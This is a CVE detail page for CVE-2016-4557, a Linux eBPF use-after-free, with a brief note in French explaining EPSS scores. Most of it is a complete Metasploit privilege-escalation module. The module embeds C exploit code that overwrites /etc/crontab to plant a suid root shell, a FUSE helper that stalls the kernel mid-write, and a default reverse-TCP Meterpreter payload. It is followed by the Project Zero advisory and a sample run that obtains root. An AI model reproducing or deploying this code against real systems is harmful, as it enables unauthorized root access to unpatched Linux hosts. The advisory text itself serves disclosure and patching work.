CVE-2016-4557 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Exploit::EXE include Msf::Post::File include Msf::Exploit::FileDropper def initialize(info={}) super( update_info( info, { 'Name' => 'Linux BPF Local Privilege Escalation', 'Description' => %q{ Linux kernel >=4.4 with CONFIG_BPF_SYSCALL and kernel.unprivileged_bpf_disabled sysctl is not set to 1, BPF can be abused to priv escalate. Ubuntu 16.04 has all of these conditions met. }, 'License' => MSF_LICENSE, 'Author' => [ '[email protected]', # discovery 'h00die <[email protected]>' # metasploit module ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'References' => [ [ 'CVE', '2016-4557' ], [ 'EDB', '39772' ], [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808' ], [ 'URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7' ] ], 'Targets' => [ [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'Linux x64', { 'Arch' => ARCH_X86_64 } ] ], 'DefaultOptions' => { 'payload' => 'linux/x64/mettle/reverse_tcp', 'PrependFork' => true, 'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through }, 'DefaultTarget' => 1, 'DisclosureDate' => 'May 04 2016', 'Privileged' => true } )) register_options([ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]), OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 120 ]) ], self.class) end def check def check_config_bpf_syscall?() output = cmd_exec('grep CONFIG_BPF_SYSCALL /boot/config-`uname -r`') if output == 'CONFIG_BPF_SYSCALL=y' vprint_good('CONFIG_BPF_SYSCALL is set to yes') return true else print_error('CONFIG_BPF_SYSCALL is NOT set to yes') return false end end def check_kernel_disabled?() output = cmd_exec('sysctl kernel.unprivileged_bpf_disabled') if output != 'kernel.unprivileged_bpf_disabled = 1' vprint_good('kernel.unprivileged_bpf_disabled is NOT set to 1') return true else print_error('kernel.unprivileged_bpf_disabled is set to 1') return false end end def check_fuse?() lib = cmd_exec('dpkg --get-selections | grep ^fuse') if lib.include?('install') vprint_good('fuse is installed') return true else print_error('fuse is not installed. Exploitation will fail.') return false end end def mount_point_exists?() if directory?('/tmp/fuse_mount') print_error('/tmp/fuse_mount should be unmounted and deleted. Exploitation will fail.') return false else vprint_good('/tmp/fuse_mount doesn\'t exist') return true end end if check_config_bpf_syscall?() && check_kernel_disabled?() && check_fuse?() && mount_point_exists?() CheckCode::Appears else CheckCode::Safe end end def exploit def upload_and_compile(filename, file_path, file_content, compile=nil) rm_f "#{file_path}" if not compile.nil? rm_f "#{file_path}.c" vprint_status("Writing #{filename} to #{file_path}.c") write_file("#{file_path}.c", file_content) register_file_for_cleanup("#{file_path}.c") output = cmd_exec(compile) if output != '' print_error(output) fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile") end else vprint_status("Writing #{filename} to #{file_path}") write_file(file_path, file_content) end cmd_exec("chmod +x #{file_path}"); register_file_for_cleanup(file_path) end doubleput = %q{ #define _GNU_SOURCE #include <stdbool.h> #include <errno.h> #include <err.h> #include <unistd.h> #include <fcntl.h> #include <sched.h> #include <signal.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/prctl.h> #include <sys/uio.h> #include <sys/mman.h> #include <sys/wait.h> #include <linux/bpf.h> #include <linux/kcmp.h> #ifndef __NR_bpf # if defined(__i386__) # define __NR_bpf 357 # elif defined(__x86_64__) # define __NR_bpf 321 # elif defined(__aarch64__) # define __NR_bpf 280 # else # error # endif #endif int uaf_fd; int task_b(void *p) { /* step 2: start writev with slow IOV, raising the refcount to 2 */ char *cwd = get_current_dir_name(); char data[2048]; sprintf(data, "* * * * * root /bin/chown root:root '%s'/suidhelper; /bin/chmod 06755 '%s'/suidhelper\n#", cwd, cwd); struct iovec iov = { .iov_base = data, .iov_len = strlen(data) }; if (system("fusermount -u /home/user/ebpf_mapfd_doubleput/fuse_mount 2>/dev/null; mkdir -p fuse_mount && ./hello ./fuse_mount")) errx(1, "system() failed"); int fuse_fd = open("fuse_mount/hello", O_RDWR); if (fuse_fd == -1) err(1, "unable to open FUSE fd"); if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov)) errx(1, "unable to write to FUSE fd"); struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0); if (iov_ == MAP_FAILED) err(1, "unable to mmap FUSE fd"); fputs("starting writev\n", stderr); ssize_t writev_res = writev(uaf_fd, iov_, 1); /* ... and starting inside the previous line, also step 6: continue writev with slow IOV */ if (writev_res == -1) err(1, "writev failed"); if (writev_res != strlen(data)) errx(1, "writev returned %d", (int)writev_res); fputs("writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.\n", stderr); while (1) sleep(1); /* whatever, just don't crash */ } void make_setuid(void) { /* step 1: open writable UAF fd */ uaf_fd = open("/dev/null", O_WRONLY|O_CLOEXEC); if (uaf_fd == -1) err(1, "unable to open UAF fd"); /* refcount is now 1 */ char child_stack[20000]; int child = clone(task_b, child_stack + sizeof(child_stack), CLONE_FILES | SIGCHLD, NULL); if (child == -1) err(1, "clone"); sleep(3); /* refcount is now 2 */ /* step 2+3: use BPF to remove two references */ for (int i=0; i<2; i++) { struct bpf_insn insns[2] = { { .code = BPF_LD | BPF_IMM | BPF_DW, .src_reg = BPF_PSEUDO_MAP_FD, .imm = uaf_fd }, { } }; union bpf_attr attr = { .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, .insn_cnt = 2, .insns = (__aligned_u64) insns, .license = (__aligned_u64)"" }; if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1) errx(1, "expected BPF_PROG_LOAD to fail, but it didn't"); if (errno != EINVAL) err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error"); } /* refcount is now 0, the file is freed soon-ish */ /* step 5: open a bunch of readonly file descriptors to the target file until we hit the same pointer */ int status; int hostnamefds[1000]; int used_fds = 0; bool up = true; while (1) { if (waitpid(child, &status, WNOHANG) == child) errx(1, "child quit before we got a good file*"); if (up) { hostnamefds[used_fds] = open("/etc/crontab", O_RDONLY); if (hostnamefds[used_fds] == -1) err(1, "open target file"); if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, hostnamefds[used_fds]) == 0) break; used_fds++; if (used_fds == 1000) up = false; } else { close(hostnamefds[--used_fds]); if (used_fds == 0) up = true; } } fputs("woohoo, got pointer reuse\n", stderr); while (1) sleep(1); /* whatever, just don't crash */ } int main(void) { pid_t child = fork(); if (child == -1) err(1, "fork"); if (child == 0) make_setuid(); struct stat helperstat; while (1) { if (stat("suidhelper", &helperstat)) err(1, "stat suidhelper"); if (helperstat.st_mode & S_ISUID) break; sleep(1); } fputs("suid file detected, launching rootshell...\n", stderr); execl("./suidhelper", "suidhelper", NULL); err(1, "execl suidhelper"); } } suid_helper = %q{ #include <unistd.h> #include <err.h> #include <stdio.h> #include <sys/types.h> int main(void) { if (setuid(0) || setgid(0)) err(1, "setuid/setgid"); fputs("we have root privs now...\n", stderr); execl("/bin/bash", "bash", NULL); err(1, "execl"); } } hello = %q{ /* FUSE: Filesystem in Userspace Copyright (C) 2001-2007 Miklos Szeredi <[email protected]> heavily modified by Jann Horn <[email protected]> This program can be distributed under the terms of the GNU GPL. See the file COPYING. gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello */ #define FUSE_USE_VERSION 26 #include <fuse.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <err.h> #include <sys/uio.h> static const char *hello_path = "/hello"; static char data_state[sizeof(struct iovec)]; static int hello_getattr(const char *path, struct stat *stbuf) { int res = 0; memset(stbuf, 0, sizeof(struct stat)); if (strcmp(path, "/") == 0) { stbuf->st_mode = S_IFDIR | 0755; stbuf->st_nlink = 2; } else if (strcmp(path, hello_path) == 0) { stbuf->st_mode = S_IFREG | 0666; stbuf->st_nlink = 1; stbuf->st_size = sizeof(data_state); stbuf->st_blocks = 0; } else res = -ENOENT; return res; } static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) { filler(buf, ".", NULL, 0); filler(buf, "..", NULL, 0); filler(buf, hello_path + 1, NULL, 0); return 0; } static int hello_open(const char *path, struct fuse_file_info *fi) { return 0; } static int hello_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) { sleep(10); size_t len = sizeof(data_state); if (offset < len) { if (offset + size > len) size = len - offset; memcpy(buf, data_state + offset, size); } else size = 0; return size; } static int hello_write(const char *path, const char *buf, size_t size, off_t offset, struct fuse_file_info *fi) { if (offset != 0) errx(1, "got write with nonzero offset"); if (size != sizeof(data_state)) errx(1, "got write with size %d", (int)size); memcpy(data_state + offset, buf, size); return size; } static struct fuse_operations hello_oper = { .getattr = hello_getattr, .readdir = hello_readdir, .open = hello_open, .read = hello_read, .write = hello_write, }; int main(int argc, char *argv[]) { return fuse_main(argc, argv, &hello_oper, NULL); } } hello_filename = 'hello' hello_path = "#{datastore['WritableDir']}/#{hello_filename}" doubleput_file = "#{datastore['WritableDir']}/doubleput" suidhelper_filename = 'suidhelper' suidhelper_path = "#{datastore['WritableDir']}/#{suidhelper_filename}" payload_filename = rand_text_alpha(8) payload_path = "#{datastore['WritableDir']}/#{payload_filename}" if check != CheckCode::Appears fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') end def has_prereqs?() def check_libfuse_dev?() lib = cmd_exec('dpkg --get-selections | grep libfuse-dev') if lib.include?('install') vprint_good('libfuse-dev is installed') return true else print_error('libfuse-dev is not installed. Compiling will fail.') return false end end def check_gcc?() gcc = cmd_exec('which gcc') if gcc.include?('gcc') vprint_good('gcc is installed') return true else print_error('gcc is not installed. Compiling will fail.') return false end end def check_pkgconfig?() lib = cmd_exec('dpkg --get-selections | grep ^pkg-config') if lib.include?('install') vprint_good('pkg-config is installed') return true else print_error('pkg-config is not installed. Exploitation will fail.') return false end end return check_libfuse_dev?() && check_gcc?() && check_pkgconfig?() end compile = false if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' if has_prereqs?() compile = true vprint_status('Live compiling exploit on system') else vprint_status('Dropping pre-compiled exploit on system') end end if compile == false # doubleput file path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'doubleput') fd = ::File.open( path, "rb") doubleput = fd.read(fd.stat.size) fd.close # hello file path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'hello') fd = ::File.open( path, "rb") hello = fd.read(fd.stat.size) fd.close # suidhelper file path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'suidhelper') fd = ::File.open( path, "rb") suid_helper = fd.read(fd.stat.size) fd.close # overwrite with the hardcoded variable names in the compiled versions payload_filename = 'AyDJSaMM' payload_path = '/tmp/AyDJSaMM' end # make our substitutions so things are dynamic suid_helper.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/, "return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable doubleput.gsub!(/execl\(".\/suidhelper", "suidhelper", NULL\);/, 'exit(0);') print_status('Writing files to target') cmd_exec("cd #{datastore['WritableDir']}") upload_and_compile('hello', hello_path, hello, compile ? "gcc -o #{hello_filename} #{hello_filename}.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`" : nil) upload_and_compile('doubleput', doubleput_file, doubleput, compile ? "gcc -o #{doubleput_file} #{doubleput_file}.c -Wall" : nil) upload_and_compile('suidhelper', suidhelper_path, suid_helper, compile ? "gcc -o #{suidhelper_filename} #{suidhelper_filename}.c -Wall" : nil) upload_and_compile('payload', payload_path, generate_payload_exe) print_status('Starting execution of priv esc. This may take about 120 seconds') cmd_exec(doubleput_file) sec_waited = 0 until sec_waited > datastore['MAXWAIT'] do Rex.sleep(1) # check file permissions if cmd_exec("ls -lah #{suidhelper_path}").include?('-rwsr-sr-x 1 root root') print_good('got root, starting payload') print_error('This exploit may require process killing of \'hello\', and \'doubleput\' on the target') print_error('This exploit may require manual umounting of /tmp/fuse_mount via \'fusermount -z -u /tmp/fuse_mount\' on the target') print_error('This exploit may require manual deletion of /tmp/fuse_mount via \'rm -rf /tmp/fuse_mount\' on the target') cmd_exec("#{suidhelper_path}") return end sec_waited +=1 end end def on_new_session(session) # if we don't /bin/bash here, our payload times out # [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400 # [*] 192.168.199.130 - Meterpreter session 2 closed. Reason: Died session.shell_command_token('/bin/bash') super end end

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=808 In Linux >=4.4, when the CONFIG_BPF_SYSCALL config option is set and the kernel.unprivileged_bpf_disabled sysctl is not explicitly set to 1 at runtime, unprivileged code can use the bpf() syscall to load eBPF socket filter programs. These conditions are fulfilled in Ubuntu 16.04. When an eBPF program is loaded using bpf(BPF_PROG_LOAD, ...), the first function that touches the supplied eBPF instructions is replace_map_fd_with_map_ptr(), which looks for instructions that reference eBPF map file descriptors and looks up pointers for the corresponding map files. This is done as follows: /* look for pseudo eBPF instructions that access map FDs and * replace them with actual map pointers */ static int replace_map_fd_with_map_ptr(struct verifier_env *env) { struct bpf_insn *insn = env->prog->insnsi; int insn_cnt = env->prog->len; int i, j; for (i = 0; i < insn_cnt; i++, insn++) { [checks for bad instructions] if (insn[0].code == (BPF_LD | BPF_IMM | BPF_DW)) { struct bpf_map *map; struct fd f; [checks for bad instructions] f = fdget(insn->imm); map = __bpf_map_get(f); if (IS_ERR(map)) { verbose("fd %d is not pointing to valid bpf_map\n", insn->imm); fdput(f); return PTR_ERR(map); } [...] } } [...] } __bpf_map_get contains the following code: /* if error is returned, fd is released. * On success caller should complete fd access with matching fdput() */ struct bpf_map *__bpf_map_get(struct fd f) { if (!f.file) return ERR_PTR(-EBADF); if (f.file->f_op != &bpf_map_fops) { fdput(f); return ERR_PTR(-EINVAL); } return f.file->private_data; } The problem is that when the caller supplies a file descriptor number referring to a struct file that is not an eBPF map, both __bpf_map_get() and replace_map_fd_with_map_ptr() will call fdput() on the struct fd. If __fget_light() detected that the file descriptor table is shared with another task and therefore the FDPUT_FPUT flag is set in the struct fd, this will cause the reference count of the struct file to be over-decremented, allowing an attacker to create a use-after-free situation where a struct file is freed although there are still references to it. A simple proof of concept that causes oopses/crashes on a kernel compiled with memory debugging options is attached as crasher.tar. One way to exploit this issue is to create a writable file descriptor, start a write operation on it, wait for the kernel to verify the file's writability, then free the writable file and open a readonly file that is allocated in the same place before the kernel writes into the freed file, allowing an attacker to write data to a readonly file. By e.g. writing to /etc/crontab, root privileges can then be obtained. There are two problems with this approach: The attacker should ideally be able to determine whether a newly allocated struct file is located at the same address as the previously freed one. Linux provides a syscall that performs exactly this comparison for the caller: kcmp(getpid(), getpid(), KCMP_FILE, uaf_fd, new_fd). In order to make exploitation more reliable, the attacker should be able to pause code execution in the kernel between the writability check of the target file and the actual write operation. This can be done by abusing the writev() syscall and FUSE: The attacker mounts a FUSE filesystem that artificially delays read accesses, then mmap()s a file containing a struct iovec from that FUSE filesystem and passes the result of mmap() to writev(). (Another way to do this would be to use the userfaultfd() syscall.) writev() calls do_writev(), which looks up the struct file * corresponding to the file descriptor number and then calls vfs_writev(). vfs_writev() verifies that the target file is writable, then calls do_readv_writev(), which first copies the struct iovec from userspace using import_iovec(), then performs the rest of the write operation. Because import_iovec() performs a userspace memory access, it may have to wait for pages to be faulted in - and in this case, it has to wait for the attacker-owned FUSE filesystem to resolve the pagefault, allowing the attacker to suspend code execution in the kernel at that point arbitrarily. An exploit that puts all this together is in exploit.tar. Usage: user@host:~/ebpf_mapfd_doubleput$ ./compile.sh user@host:~/ebpf_mapfd_doubleput$ ./doubleput starting writev woohoo, got pointer reuse writev returned successfully. if this worked, you'll have a root shell in <=60 seconds. suid file detected, launching rootshell... we have root privs now... root@host:~/ebpf_mapfd_doubleput# id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(vboxsf),1000(user) This exploit was tested on a Ubuntu 16.04 Desktop system. Fix: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7 Proof of Concept: https://bugs.chromium.org/p/project-zero/issues/attachment?aid=232552 Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip